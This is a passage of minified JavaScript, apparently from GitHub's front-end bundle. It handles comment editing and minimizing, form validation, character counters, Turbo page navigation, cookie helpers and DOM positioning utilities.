fetch(this.url,{method:"POST",body:L,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}});if(q.ok){const E=await q.json();if(!E||typeof E!="object"||Array.isArray(E))throw new Error("Malformed batch response");for(const A in E){const k=this.callbacks.get(A);if(k){const j=E[A];this.validate(j),k(j)}}}}}s(_,"BatchLoader");var x=Object.defineProperty,u=Object.getOwnPropertyDescriptor,g=s((p,b,v,L)=>{for(var q=L>1?void 0:L?u(b,v):b,E=p.length-1,A;E>=0;E--)(A=p[E])&&(q=(L?A(b,v,q):A(q))||q);return L&&q&&x(b,v,q),q},"__decorateClass");class h extends HTMLElement{async connectedCallback(){const b=await this.batchLoader.loadInBatch(this);this.update(b)}get batchLoader(){const b=this.getAttribute("data-url");if(!b)throw new Error(`${this.tagName} element requires a data-url attribute`);let v=this.batchLoaders.get(b);return v||(v=new _(b,L=>this.validate(L)),this.batchLoaders.set(b,v)),v}}s(h,"BaseBatchDeferredContentElement");const d=new Map;let m=s(class extends h{constructor(){super(...arguments);this.batchLoaders=d}validate(p){if(typeof p!="string")throw new Error("Batch deferred content was not a string")}update(p){const b=(0,c.r)(document,p);this.replaceWith(b)}},"BatchDeferredContentElement");g([T.GO],m.prototype,"inputs",2),m=g([T.Ih],m)},41415:()=>{let $,D=!1;function f(){$=document.activeElement,document.body&&document.body.classList.toggle("intent-mouse",D)}s(f,"setClass"),document.addEventListener("mousedown",function(){D=!0,$===document.activeElement&&f()},{capture:!0}),document.addEventListener("keydown",function(){D=!1},{capture:!0}),document.addEventListener("focusin",f,{capture:!0})},90458:($,D,f)=>{"use strict";f.d(D,{OD:()=>u,Qc:()=>g,nz:()=>x});var T=f(40764),c=f(45075);function C(h,d,m){const p=m.closest(".js-characters-remaining-container");if(!p)return;const b=p.querySelector(".js-characters-remaining"),v=String(b.getAttribute("data-suffix")),L=(0,T.rq)(h),q=d-L;q<=20?(b.textContent=`${q} ${v}`,b.classList.toggle("color-fg-danger",q<=5),b.hidden=!1):b.hidden=!0}s(C,"showRemainingCharacterCount");function _(h){return h.hasAttribute("data-maxlength")?parseInt(h.getAttribute("data-maxlength")||""):h.maxLength}s(_,"getFieldLimit");function x(h){const d=_(h),m=(0,T.rq)(h.value);return d-m<0}s(x,"hasExceededCharacterLimit");function u(h){const d=_(h);C(h.value,d,h)}s(u,"updateInputRemainingCharacters");function g(h){const d=h.querySelectorAll(".js-characters-remaining-container");for(const m of d){const p=m.querySelector(".js-characters-remaining-field");u(p)}}s(g,"resetCharactersRemainingCounts"),(0,c.ZG)(".js-characters-remaining-field",function(h){function d(){(h instanceof HTMLInputElement||h instanceof HTMLTextAreaElement)&&u(h)}s(d,"onInput"),d(),h.addEventListener("input",d),h.addEventListener("blur",()=>{h.removeEventListener("input",d)},{once:!0})})},2641:($,D,f)=>{"use strict";f.d(D,{z:()=>v});var T=f(59753),c=f(12737),C=f(29719),_=f(6741),x=f(55741),u=f(64463),g=f(65935),h=f(78965);let d=[];(0,u.N7)(".js-comment-header-actions-deferred-include-fragment",{subscribe:E=>(0,_.RB)(E,"loadstart",()=>{const A=E.closest(".js-comment");b(A)},{capture:!1,once:!0})}),(0,u.N7)(".js-comment .contains-task-list",{add:E=>{const A=E.closest(".js-comment");b(A)}}),(0,T.on)("click",".js-comment-edit-button",function(E){const A=E.currentTarget.closest(".js-comment");A.classList.add("is-comment-editing");const k=p(A);k?k.addEventListener("include-fragment-replaced",()=>m(A),{once:!0}):m(A);const j=E.currentTarget.closest(".js-dropdown-details");j&&j.removeAttribute("open")});function m(E){E.querySelector(".js-write-tab").click();const A=E.querySelector(".js-comment-field");A.focus(),(0,T.f)(A,"change")}s(m,"focusEditForm");function p(E){return E.querySelector(".js-comment-edit-form-deferred-include-fragment")}s(p,"findEditFormDeferredIncludeFragment");function b(E){var A;(A=p(E))==null||A.setAttribute("loading","eager")}s(b,"loadEditFormDeferredIncludeFragment"),(0,T.on)("click",".js-comment-hide-button",function(E){const A=E.currentTarget.closest(".js-comment");q(A,!1);const k=A.querySelector(".js-minimize-comment");k&&k.classList.remove("d-none");const j=E.currentTarget.closest(".js-dropdown-details");j&&j.removeAttribute("open")}),(0,T.on)("click",".js-comment-hide-minimize-form",function(E){E.currentTarget.closest(".js-minimize-comment").classList.add("d-none")});function v(E){const A=E.currentTarget.closest("form"),k=E.currentTarget.getAttribute("data-confirm-text");if((0,x.T)(A)&&!confirm(k))return!1;for(const P of A.querySelectorAll("input, textarea")){const M=P;M.value=M.defaultValue,M.classList.contains("session-resumable-canceled")&&(M.classList.add("js-session-resumable"),M.classList.remove("session-resumable-canceled"))}const j=E.currentTarget.closest(".js-comment");return j&&j.classList.remove("is-comment-editing"),!0}s(v,"handleCommentCancelButtonClick"),(0,T.on)("click",".js-comment-cancel-button",v),(0,T.on)("click",".js-cancel-issue-edit",function(E){const A=E.currentTarget.closest(".js-details-container");A.querySelector(".js-comment-form-error").hidden=!0}),(0,g.AC)(".js-comment-delete, .js-comment .js-comment-update, .js-issue-update, .js-comment-minimize, .js-comment-unminimize",function(E,A,k){const j=E.closest(".js-comment");j.classList.add("is-comment-loading");const P=j.getAttribute("data-body-version");P&&k.headers.set("X-Body-Version",P)}),(0,g.AC)(".js-comment .js-comment-update",async function(E,A){let k;const j=E.closest(".js-comment"),P=j.querySelector(".js-comment-update-error"),M=j.querySelector(".js-comment-body-error");P instanceof HTMLElement&&(P.hidden=!0),M instanceof HTMLElement&&(M.hidden=!0),d=[];try{k=await A.json()}catch(W){if(W.response.status===422){const U=JSON.parse(W.response.text);if(U.errors){P instanceof HTMLElement&&(P.textContent=`There was an error posting your comment: ${U.errors.join(", ")}`,P.hidden=!1);return}}else throw W}if(!k)return;const O=k.json;O.errors&&O.errors.length>0&&(d=O.errors,L(M));const V=j.querySelector(".js-comment-body");V&&O.body&&(V.innerHTML=O.body),j.setAttribute("data-body-version",O.newBodyVersion);const H=j.querySelector(".js-body-version");H instanceof HTMLInputElement&&(H.value=O.newBodyVersion);const N=j.querySelector(".js-discussion-poll");N&&O.poll&&(N.innerHTML=O.poll);for(const W of j.querySelectorAll("input, textarea")){const U=W;U.defaultValue=U.value}j.classList.remove("is-comment-stale","is-comment-editing");const K=j.querySelector(".js-comment-edit-history");if(K){const W=await(0,C.a)(document,O.editUrl);K.innerHTML="",K.append(W)}}),(0,u.N7)(".js-comment-body-error",{add:E=>{d&&d.length>0&&L(E)}});function L(E){const A=E.querySelector("ol");if(A){A.innerHTML="";const k=d.map(j=>{const P=document.createElement("li");return P.textContent=j,P});for(const j of k)A.appendChild(j)}E.hidden=!1}s(L,"showBodyErrors"),(0,g.AC)(".js-comment .js-comment-delete, .js-comment .js-comment-update, .js-comment-minimize, .js-comment-unminimize",async function(E,A){const k=E.closest(".js-comment");try{await A.text()}catch(j){if(j.response.status===422){let P;try{P=JSON.parse(j.response.text)}catch{}P&&P.stale&&k.classList.add("is-comment-stale")}else throw j}k.classList.remove("is-comment-loading")});function q(E,A){const k=E.querySelector(".js-comment-show-on-error");k&&(k.hidden=!A);const j=E.querySelector(".js-comment-hide-on-error");j&&(j.hidden=A)}s(q,"toggleMinimizeError"),(0,g.AC)(".js-timeline-comment-unminimize, .js-timeline-comment-minimize",async function(E,A){const k=E.closest(".js-minimize-container");try{const j=await A.html();k.replaceWith(j.html)}catch{q(k,!0)}}),(0,g.AC)(".js-discussion-comment-unminimize, .js-discussion-comment-minimize",async function(E,A){const k=E.closest(".js-discussion-comment"),j=k.querySelector(".js-discussion-comment-error");j&&(j.hidden=!0);try{const P=await A.html();k.replaceWith(P.html)}catch(P){if(P.response.status>=400&&P.response.status<500){if(P.response.html){const M=P.response.html.querySelector(".js-discussion-comment").getAttribute("data-error");j instanceof HTMLElement&&(j.textContent=M,j.hidden=!1)}}else throw P}}),(0,g.AC)(".js-comment-delete",async function(E,A){await A.json();let k=E.closest(".js-comment-delete-container");k||(k=E.closest(".js-comment-container")||E.closest(".js-line-comments"),k&&k.querySelectorAll(".js-comment").length!==1&&(k=E.closest(".js-comment")));const j=(k==null?void 0:k.closest(".js-comment-container"))||(k==null?void 0:k.closest(".js-line-comments"));if(k==null||k.remove(),j&&j.querySelectorAll(".js-comment").length===1)for(const P of j.querySelectorAll(".js-delete-on-last-reply-deleted"))P.remove()}),(0,g.AC)(".js-issue-update",async function(E,A){var k,j,P;const M=E.closest(".js-details-container"),O=M.querySelector(".js-comment-form-error");let V;try{V=await A.json()}catch(N){O.textContent=((P=(j=(k=N.response)==null?void 0:k.json)==null?void 0:j.errors)==null?void 0:P[0])||"Something went wrong. Please try again.",O.hidden=!1}if(!V)return;M.classList.remove("open"),O.hidden=!0;const H=V.json;if(H.issue_title!=null){M.querySelector(".js-issue-title").textContent=H.issue_title;const N=M.closest(".js-issues-results");if(N){if(N.querySelector(".js-merge-pr.is-merging")){const U=N.querySelector(".js-merge-pull-request textarea");U instanceof HTMLTextAreaElement&&U.value===U.defaultValue&&(U.value=U.defaultValue=H.issue_title)}else if(N.querySelector(".js-merge-pr.is-squashing")){const U=N.querySelector(".js-merge-pull-request .js-merge-title");U instanceof HTMLInputElement&&U.value===U.defaultValue&&(U.value=U.defaultValue=H.default_squash_commit_title)}const K=N.querySelector("button[value=merge]");K&&K.setAttribute("data-input-message-value",H.issue_title);const W=N.querySelector("button[value=squash]");W&&W.setAttribute("data-input-title-value",H.default_squash_commit_title)}}document.title=H.page_title;for(const N of E.elements)(N instanceof HTMLInputElement||N instanceof HTMLTextAreaElement)&&(N.defaultValue=N.value)}),(0,g.AC)(".js-comment-minimize",async function(E,A){await A.json();const k=E.closest(".js-comment"),j=k.querySelector(".js-minimize-comment");if(j&&j.classList.contains("js-update-minimized-content")){const P=E.querySelector("input[type=submit], button[type=submit]");P&&P.classList.add("disabled");const M=k.closest(".js-comment-container");M&&await(0,h.x0)(M)}else{j&&j.classList.add("d-none");const P=E.closest(".unminimized-comment");P.classList.add("d-none"),P.classList.remove("js-comment");const O=E.closest(".js-minimizable-comment-group").querySelector(".minimized-comment");O&&O.classList.remove("d-none"),O&&O.classList.add("js-comment")}}),(0,g.AC)(".js-comment-unminimize",async function(E,A){await A.json();const k=E.closest(".js-minimizable-comment-group"),j=k.querySelector(".unminimized-comment"),P=k.querySelector(".minimized-comment");if(j)j.classList.remove("d-none"),j.classList.add("js-comment"),P&&P.classList.add("d-none"),P&&P.classList.remove("js-comment");else{if(P){const O=P.querySelector(".timeline-comment-actions");O&&O.classList.add("d-none"),P.classList.remove("js-comment")}const M=k.closest(".js-comment-container");await(0,h.x0)(M)}}),(0,T.on)("details-menu-select",".js-comment-edit-history-menu",E=>{const A=E.detail.relatedTarget.getAttribute("data-edit-history-url");if(!A)return;E.preventDefault();const k=(0,C.a)(document,A);(0,c.W)({content:k,dialogClass:"Box-overlay--wide overflow-visible"})},{capture:!0})},87924:()=>{document.addEventListener("click",function($){if(!($.target instanceof Element))return;const D="a[data-confirm], input[type=submit][data-confirm], input[type=checkbox][data-confirm], button[data-confirm]",f=$.target.closest(D);if(!f)return;const T=f.getAttribute("data-confirm");!T||f instanceof HTMLInputElement&&f.hasAttribute("data-confirm-checked")&&!f.checked||confirm(T)||($.stopImmediatePropagation(),$.preventDefault())},!0)},33948:($,D,f)=>{"use strict";f.d(D,{Z:()=>_});var T=f(7739);const c=[];let C=0;function _(d){(async function(){c.push(d),await T.x,x()})()}s(_,"hashChange"),_.clear=()=>{c.length=C=0};function x(){const d=C;C=c.length,u(c.slice(d),null,window.location.href)}s(x,"runRemainingHandlers");function u(d,m,p){const b=window.location.hash.slice(1),v=b?document.getElementById(b):null,L={oldURL:m,newURL:p,target:v};for(const q of d)q.call(null,L)}s(u,"runHandlers");let g=window.location.href;window.addEventListener("popstate",function(){g=window.location.href}),window.addEventListener("hashchange",function(d){const m=window.location.href;try{u(c,d.oldURL||g,m)}finally{g=m}});let h=null;document.addEventListener("pjax:start",function(){h=window.location.href}),document.addEventListener("pjax:end",function(){u(c,h,window.location.href)})},52641:($,D,f)=>{"use strict";f.d(D,{G:()=>h});var T=f(45075),c=f(64463),C=f(59753);const _=["input[pattern]","input[required]","textarea[required]","input[data-required-change]","textarea[data-required-change]","input[data-required-value]","textarea[data-required-value]"].join(",");function x(d){const m=d.getAttribute("data-required-value"),p=d.getAttribute("data-required-value-prefix");if(d.value===m)d.setCustomValidity("");else{let b=m;p&&(b=p+b),d.setCustomValidity(b)}}s(x,"checkValidityForRequiredValueField"),(0,T.q6)("[data-required-value]",function(d){const m=d.currentTarget;x(m)}),(0,C.on)("change","[data-required-value]",function(d){const m=d.currentTarget;x(m),h(m.form)}),(0,T.q6)("[data-required-trimmed]",function(d){const m=d.currentTarget;m.value.trim()===""?m.setCustomValidity(m.getAttribute("data-required-trimmed")):m.setCustomValidity("")}),(0,C.on)("change","[data-required-trimmed]",function(d){const m=d.currentTarget;m.value.trim()===""?m.setCustomValidity(m.getAttribute("data-required-trimmed")):m.setCustomValidity(""),h(m.form)}),(0,T.ZG)(_,d=>{let m=d.checkValidity();function p(){const b=d.checkValidity();b!==m&&d.form&&h(d.form),m=b}s(p,"inputHandler"),d.addEventListener("input",p),d.addEventListener("blur",s(function b(){d.removeEventListener("input",p),d.removeEventListener("blur",b)},"blurHandler"))});const u=new WeakMap;function g(d){u.get(d)||(d.addEventListener("change",()=>h(d)),u.set(d,!0))}s(g,"installHandlers");function h(d){const m=d.checkValidity();for(const p of d.querySelectorAll("button[data-disable-invalid]"))p.disabled=!m}s(h,"validate"),(0,c.N7)("button[data-disable-invalid]",{constructor:HTMLButtonElement,initialize(d){const m=d.form;m&&(g(m),d.disabled=!m.checkValidity())}}),(0,c.N7)("input[data-required-change], textarea[data-required-change]",function(d){const m=d,p=m.type==="radio"&&m.form?m.form.elements.namedItem(m.name).value:null;function b(v){const L=m.form;if(v&&m.type==="radio"&&L&&p)for(const q of L.elements.namedItem(m.name))q instanceof HTMLInputElement&&q.setCustomValidity(m.value===p?"unchanged":"");else m.setCustomValidity(m.value===(p||m.defaultValue)?"unchanged":"")}s(b,"customValidity"),m.addEventListener("input",b),m.addEventListener("change",b),b(),m.form&&h(m.form)}),document.addEventListener("reset",function(d){if(d.target instanceof HTMLFormElement){const m=d.target;setTimeout(()=>h(m))}})},11724:()=>{document.addEventListener("pjax:click",function($){if(window.onbeforeunload)return $.preventDefault()})},17300:($,D,f)=>{"use strict";f.d(D,{k:()=>x});var T=f(6741),c=f(7739),C=f(64463),_=f(75371);(0,C.N7)(".js-responsive-underlinenav",{constructor:HTMLElement,subscribe:h=>(x(h),(0,T.RB)(window,"resize",()=>g(h)))});async function x(h){await c.C,g(h)}s(x,"asyncCalculateVisibility");function u(h,d){h.style.visibility=d?"hidden":"";const m=h.getAttribute("data-tab-item");if(m){const p=document.querySelector(`[data-menu-item=${m}]`);p instanceof HTMLElement&&(p.hidden=!d)}}s(u,"toggleItem");function g(h){const d=h.querySelectorAll(".js-responsive-underlinenav-item"),m=h.querySelector(".js-responsive-underlinenav-overflow"),p=(0,_.oE)(m,h);if(!p)return;let b=!1;for(const v of d){const L=(0,_.oE)(v,h);if(L){const q=L.left+v.offsetWidth>=p.left;u(v,q),b=b||q}}m.style.visibility=b?"":"hidden"}s(g,"calculateVisibility")},41928:()=>{function $(T){const c=document.querySelector(".js-stale-session-flash"),C=c.querySelector(".js-stale-session-flash-signed-in"),_=c.querySelector(".js-stale-session-flash-signed-out");c.hidden=!1,C.hidden=T==="false",_.hidden=T==="true",window.addEventListener("popstate",function(x){x.state&&x.state.container!=null&&location.reload()}),document.addEventListener("submit",function(x){x.preventDefault()})}s($,"sessionChanged");let D;if(typeof BroadcastChannel=="function")try{D=new BroadcastChannel("stale-session"),D.onmessage=T=>{typeof T.data=="string"&&$(T.data)}}catch{}if(!D){let T=!1;D={postMessage(c){T=!0;try{window.localStorage.setItem("logged-in",c)}finally{T=!1}}},window.addEventListener("storage",function(c){if(!T&&c.storageArea===window.localStorage&&c.key==="logged-in")try{(c.newValue==="true"||c.newValue==="false")&&$(c.newValue)}finally{window.localStorage.removeItem(c.key)}})}const f=document.querySelector(".js-stale-session-flash[data-signedin]");if(f){const T=f.getAttribute("data-signedin")||"";D.postMessage(T)}},32222:($,D,f)=>{"use strict";var T=f(11793),c=f(59753),C=f(64463);class _{constructor(u){this.container=u.container,this.selections=u.selections,this.inputWrap=u.inputWrap,this.input=u.input,this.tagTemplate=u.tagTemplate,this.form=this.input.form,this.autoComplete=u.autoComplete,this.multiTagInput=u.multiTagInput}setup(){this.container.addEventListener("click",u=>{u.target.closest(".js-remove")?this.removeTag(u):this.onFocus()}),this.input.addEventListener("focus",this.onFocus.bind(this)),this.input.addEventListener("blur",this.onBlur.bind(this)),this.input.addEventListener("keydown",this.onKeyDown.bind(this)),this.form.addEventListener("submit",this.onSubmit.bind(this)),this.autoComplete.addEventListener("auto-complete-change",()=>{this.selectTag(this.autoComplete.value)})}onFocus(){this.inputWrap.classList.add("focus"),this.input!==document.activeElement&&this.input.focus()}onBlur(){this.inputWrap.classList.remove("focus"),this.autoComplete.open||this.onSubmit()}onSubmit(){this.input.value&&(this.selectTag(this.input.value),this.autoComplete.open=!1)}onKeyDown(u){switch((0,T.EL)(u)){case"Backspace":this.onBackspace();break;case"Enter":case"Tab":this.taggifyValueWhenSuggesterHidden(u);break;case",":case" ":this.taggifyValue(u);break}}taggifyValueWhenSuggesterHidden(u){!this.autoComplete.open&&this.input.value&&(u.preventDefault(),this.selectTag(this.input.value))}taggifyValue(u){this.input.value&&(u.preventDefault(),this.selectTag(this.input.value),this.autoComplete.open=!1)}selectTag(u){const g=this.normalizeTag(u),h=this.selectedTags();let d=!1;for(let m=0;mg.value).filter(g=>g.length>0)}}s(_,"TagInput"),(0,C.N7)(".js-tag-input-container",{constructor:HTMLElement,initialize(x){new _({container:x,inputWrap:x.querySelector(".js-tag-input-wrapper"),input:x.querySelector('input[type="text"], input:not([type])'),selections:x.querySelector(".js-tag-input-selected-tags"),tagTemplate:x.querySelector(".js-template"),autoComplete:x.querySelector("auto-complete"),multiTagInput:!1}).setup()}}),(0,C.N7)(".js-multi-tag-input-container",{constructor:HTMLElement,initialize(x){new _({container:x,inputWrap:x.querySelector(".js-tag-input-wrapper"),input:x.querySelector('input[type="text"], input:not([type])'),selections:x.querySelector(".js-tag-input-selected-tags"),tagTemplate:x.querySelector(".js-template"),autoComplete:x.querySelector("auto-complete"),multiTagInput:!0}).setup()}})},53412:($,D,f)=>{"use strict";f.d(D,{H:()=>_});var T=f(29946),c=f(49815),C=f(11190);if((0,c.c)("TURBO")){(async()=>{const{PageRenderer:u,session:g,navigator:h}=await f.e("vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js").then(f.bind(f,74395)),d=g.adapter;function m(){d.progressBar.setValue(0),d.progressBar.show()}s(m,"beginProgressBar");function p(){d.progressBar.setValue(1),d.progressBar.hide()}s(p,"completeProgressBar"),document.addEventListener("turbo:before-fetch-request",q=>{const E=q.target;if(_(E)&&m(),(E==null?void 0:E.tagName)==="HTML"){const k=q;k.detail.fetchOptions.headers["Turbo-Visit"]="true"}const A=(0,C.I)(q.detail.url.pathname);if(A){const k=new URLSearchParams(q.detail.url.search);for(const[j,P]of Object.entries(A))P&&k.set(j,P);q.detail.url.search=k.toString()}}),document.addEventListener("turbo:frame-render",q=>{_(q.target)&&p()}),document.addEventListener(T.QE.START,m),document.addEventListener(T.QE.END,p);const b=Object.getOwnPropertyDescriptor(u.prototype,"reloadReason").get;Object.defineProperty(u.prototype,"reloadReason",{get(){const q=b.call(this);if(q.reason!=="tracked_element_mismatch")return q;const E=Object.fromEntries(v(this.currentHeadSnapshot)),A=[];for(const[k,j]of v(this.newHeadSnapshot))E[k]!==j&&A.push(k.replace(/^x-/,"").replaceAll("-","_"));return{reason:`tracked_element_mismatch-${A.join("-")}`}}});function*v(q){for(const E of Object.values(q.detailsByOuterHTML))if(E.tracked)for(const A of E.elements)A instanceof HTMLMetaElement&&A.getAttribute("http-equiv")&&(yield[A.getAttribute("http-equiv")||"",A.getAttribute("content")||""])}s(v,"getSnapshotSignatures");function L(q){const E=history[q];history[q]=function(A,k,j){var P;function M(O,V,H){E.call(this,{...A,...O},V,H)}s(M,"oldHistoryWithMergedState"),h.history.update(M,new URL(j||location.href,location.href),(P=A==null?void 0:A.turbo)==null?void 0:P.restorationIdentifier)}}s(L,"patchHistoryApi"),L("replaceState"),L("pushState")})();const x=s((u,g)=>{const h=new URL(u,window.location.origin),d=new URL(g,window.location.origin);return Boolean(d.hash)&&h.hash!==d.hash&&h.host===d.host&&h.pathname===d.pathname&&h.search===d.search},"isHashNavigation");document.addEventListener("turbo:click",function(u){if(!(u.target instanceof HTMLElement))return;const g=u.target.closest("[data-turbo-frame]");g instanceof HTMLElement&&u.target.setAttribute("data-turbo-frame",g.getAttribute("data-turbo-frame")||""),u instanceof CustomEvent&&x(location.href,u.detail.url)&&u.preventDefault()}),document.addEventListener("turbo:before-render",u=>{if(!(u instanceof CustomEvent))return;const g=u.detail.newBody.ownerDocument.documentElement,h=document.documentElement;for(const d of h.attributes)!g.hasAttribute(d.nodeName)&&d.nodeName!=="aria-busy"&&h.removeAttribute(d.nodeName);for(const d of g.attributes)h.getAttribute(d.nodeName)!==d.nodeValue&&h.setAttribute(d.nodeName,d.nodeValue)}),document.addEventListener("turbo:visit",T.LD),document.addEventListener("turbo:render",T.FP),document.addEventListener("beforeunload",T.FP),document.addEventListener("turbo:load",u=>{Object.keys(u.detail.timing).length===0?(0,T.OE)()||(0,T.Po)()?(0,T.Ys)():(0,T.F6)():(0,T.Xk)()}),document.addEventListener("turbo:before-visit",function(u){var g;const h=(g=window.onbeforeunload)==null?void 0:g.call(window,u);h&&(confirm(h)?window.onbeforeunload=null:u.preventDefault())}),document.addEventListener("turbo:reload",function(u){u instanceof CustomEvent&&(0,T.Ak)(u.detail.reason)}),document.addEventListener(T.QE.SUCCESS,()=>{if(location.hash==="")return;const u=document.createElement("a");u.href=`#${location.hash.slice(1)}`,u.click()})}const _=s(x=>(x==null?void 0:x.tagName)==="TURBO-FRAME","isTurboFrame")},95128:()=>{function $(){const f=document.createElement("div");return f.style.cssText="-ms-user-select: element; user-select: contain;",f.style.getPropertyValue("-ms-user-select")==="element"||f.style.getPropertyValue("-ms-user-select")==="contain"||f.style.getPropertyValue("user-select")==="contain"}s($,"supportsUserSelectContain");function D(f){if(!(f.target instanceof Element))return;const T=f.target.closest(".user-select-contain");if(!T)return;const c=window.getSelection();if(!c||!c.rangeCount||!c.rangeCount||c.type!=="Range")return;const C=c.getRangeAt(0).commonAncestorContainer;T.contains(C)||c.selectAllChildren(T)}s(D,"handleUserSelectContain"),$()||document.addEventListener("click",D)},29790:($,D,f)=>{"use strict";f.d(D,{Dw:()=>x,G5:()=>T,M9:()=>g,n6:()=>_});function T(b){const v=b.match(/#?(?:L)(\d+)((?:C)(\d+))?/g);if(v)if(v.length===1){const L=u(v[0]);return L?Object.freeze({start:L,end:L}):void 0}else if(v.length===2){const L=u(v[0]),q=u(v[1]);return!L||!q?void 0:m(Object.freeze({start:L,end:q}))}else return;else return}s(T,"parseBlobRange");function c(b){const{start:v,end:L}=m(b);return v.column!=null&&L.column!=null?`L${v.line}C${v.column}-L${L.line}C${L.column}`:v.line===L.line?`L${v.line}`:`L${v.line}-L${L.line}`}s(c,"formatBlobRange");function C(b){const v=b.match(/(file-.+?-)L\d+?/i);return v?v[1]:""}s(C,"parseAnchorPrefix");function _(b){const v=T(b),L=C(b);return{blobRange:v,anchorPrefix:L}}s(_,"parseFileAnchor");function x({anchorPrefix:b,blobRange:v}){return v?`#${b}${c(v)}`:"#"}s(x,"formatBlobRangeAnchor");function u(b){const v=b.match(/L(\d+)/),L=b.match(/C(\d+)/);return v?Object.freeze({line:parseInt(v[1]),column:L?parseInt(L[1]):null}):null}s(u,"parseBlobOffset");function g(b,v){const[L,q]=h(b.start,!0,v),[E,A]=h(b.end,!1,v);if(!L||!E)return;let k=q,j=A;if(k===-1&&(k=0),j===-1&&(j=E.childNodes.length),!L.ownerDocument)throw new Error("DOMRange needs to be inside document");const P=L.ownerDocument.createRange();return P.setStart(L,k),P.setEnd(E,j),P}s(g,"DOMRangeFromBlob");function h(b,v,L){const q=[null,0],E=L(b.line);if(!E)return q;if(b.column==null)return[E,-1];let A=b.column-1;const k=d(E);for(let j=0;j{"use strict";f.d(D,{P:()=>C,g:()=>_});var T=f(59753);const c=new WeakMap;function C(g){return c.get(g)}s(C,"getCodeEditor");async function _(g){return c.get(g)||x(await u(g,"codeEditor:ready"))}s(_,"getAsyncCodeEditor");function x(g){if(!(g instanceof CustomEvent))throw new Error("assert: event is not a CustomEvent");const h=g.detail.editor;if(!g.target)throw new Error("assert: event.target is null");return c.set(g.target,h),h}s(x,"onEditorFromEvent"),(0,T.on)("codeEditor:ready",".js-code-editor",x);function u(g,h){return new Promise(d=>{g.addEventListener(h,d,{once:!0})})}s(u,"nextEvent")},64926:($,D,f)=>{"use strict";f.d(D,{$1:()=>c,d8:()=>_,ej:()=>T,kT:()=>x});function T(u){return c(u)[0]}s(T,"getCookie");function c(u){const g=[];for(const h of C()){const[d,m]=h.trim().split("=");u===d&&typeof m!="undefined"&&g.push({key:d,value:m})}return g}s(c,"getCookies");function C(){try{return document.cookie.split(";")}catch{return[]}}s(C,"readCookies");function _(u,g,h=null,d=!1,m="lax"){let p=document.domain;if(p==null)throw new Error("Unable to get document domain");p.endsWith(".github.com")&&(p="github.com");const b=location.protocol==="https:"?"; secure":"",v=h?`; expires=${h}`:"";d===!1&&(p=`.${p}`);try{document.cookie=`${u}=${g}; path=/; domain=${p}${v}${b}; samesite=${m}`}catch{}}s(_,"setCookie");function x(u,g=!1){let h=document.domain;if(h==null)throw new Error("Unable to get document domain");h.endsWith(".github.com")&&(h="github.com");const d=new Date().getTime(),m=new Date(d-1).toUTCString(),p=location.protocol==="https:"?"; secure":"",b=`; expires=${m}`;g===!1&&(h=`.${h}`);try{document.cookie=`${u}=''; path=/; domain=${h}${b}${p}`}catch{}}s(x,"deleteCookie")},75371:($,D,f)=>{"use strict";f.d(D,{VZ:()=>c,_C:()=>C,cv:()=>T,oE:()=>_});function T(g){const h=g.getBoundingClientRect();return{top:h.top+window.pageYOffset,left:h.left+window.pageXOffset}}s(T,"offset");function c(g){let h=g;const d=h.ownerDocument;if(!d||!h.offsetParent)return;const m=d.defaultView.HTMLElement;if(h!==d.body){for(;h!==d.body;){if(h.parentElement instanceof m)h=h.parentElement;else return;const{position:p,overflowY:b,overflowX:v}=getComputedStyle(h);if(p==="fixed"||b==="auto"||v==="auto"||b==="scroll"||v==="scroll")break}return h instanceof Document?null:h}}s(c,"overflowParent");function C(g,h){let d=h;const m=g.ownerDocument;if(!m)return;const p=m.documentElement;if(!p||g===p)return;const b=_(g,d);if(!b)return;d=b._container;const v=d===m.documentElement&&m.defaultView?{top:m.defaultView.pageYOffset,left:m.defaultView.pageXOffset}:{top:d.scrollTop,left:d.scrollLeft},L=b.top-v.top,q=b.left-v.left,E=d.clientHeight,A=d.clientWidth,k=E-(L+g.offsetHeight),j=A-(q+g.offsetWidth);return{top:L,left:q,bottom:k,right:j,height:E,width:A}}s(C,"overflowOffset");function _(g,h){let d=g;const m=d.ownerDocument;if(!m)return;const p=m.documentElement;if(!p)return;const b=m.defaultView.HTMLElement;let v=0,L=0;const q=d.offsetHeight,E=d.offsetWidth;for(;!(d===m.body||d===h);)if(v+=d.offsetTop||0,L+=d.offsetLeft||0,d.offsetParent instanceof b)d=d.offsetParent;else return;let A,k,j;if(!h||h===m||h===m.defaultView||h===m.documentElement||h===m.body)j=p,A=x(m.body,p),k=u(m.body,p);else if(h instanceof b)j=h,A=h.scrollHeight,k=h.scrollWidth;else return;const P=A-(v+q),M=k-(L+E);return{top:v,left:L,bottom:P,right:M,_container:j}}s(_,"positionedOffset");function x(g,h){return Math.max(g.scrollHeight,h.scrollHeight,g.offsetHeight,h.offsetHeight,h.clientHeight)}s(x,"getDocumentHeight");function u(g,h){return Math.max(g.scrollWidth,h.scrollWidth,g.offsetWidth,h.offsetWidth,h.clientWidth)}s(u,"getDocumentWidth")},73185:($,D,f)=>{"use strict";f.d(D,{Dc:()=>_,bP:()=>g,g:()=>u,gJ:()=>T,rs:()=>c});function T(){return Promise.resolve()}s(T,"microtask");function c(){return new Promise(window.requestAnimationFrame)}s(c,"animationFrame");async function C(h,d){let m;const p=new Promise((b,v)=>{m=self.setTimeout(()=>v(new Error("timeout")),h)});if(!d)return p;try{await Promise.race([p,x(d)])}catch(b){throw self.clearTimeout(m),b}}s(C,"timeout");async function _(h,d){let m;const p=new Promise(b=>{m=self.setTimeout(b,h)});if(!d)return p;try{await Promise.race([p,x(d)])}catch(b){throw self.clearTimeout(m),b}}s(_,"wait");function x(h){return new Promise((d,m)=>{const p=new Error("aborted");p.name="AbortError",h.aborted?m(p):h.addEventListener("abort",()=>m(p))})}s(x,"whenAborted");function u(h){const d=[];return function(m){d.push(m),d.length===1&&queueMicrotask(()=>{const p=[...d];d.length=0,h(p)})}}s(u,"taskQueue");async function g(h){requestAnimationFrame(()=>{setTimeout(h)})}s(g,"afterNextPaint")},92003:($,D,f)=>{"use strict";f.d(D,{aJ:()=>k,cI:()=>q,eK:()=>p});var T=f(29946),c=f(97474),C=f(82918),_=f(50232),x=f(28382),u=f(47930),g=f(49815);let h=!1,d=0;const m=Date.now();function p(M,O={}){M&&M.name!=="AbortError"&&b(L(v(M),O))}s(p,"reportError");async function b(M){var O,V;if(!P())return;const H=(V=(O=document.head)==null?void 0:O.querySelector('meta[name="browser-errors-url"]'))==null?void 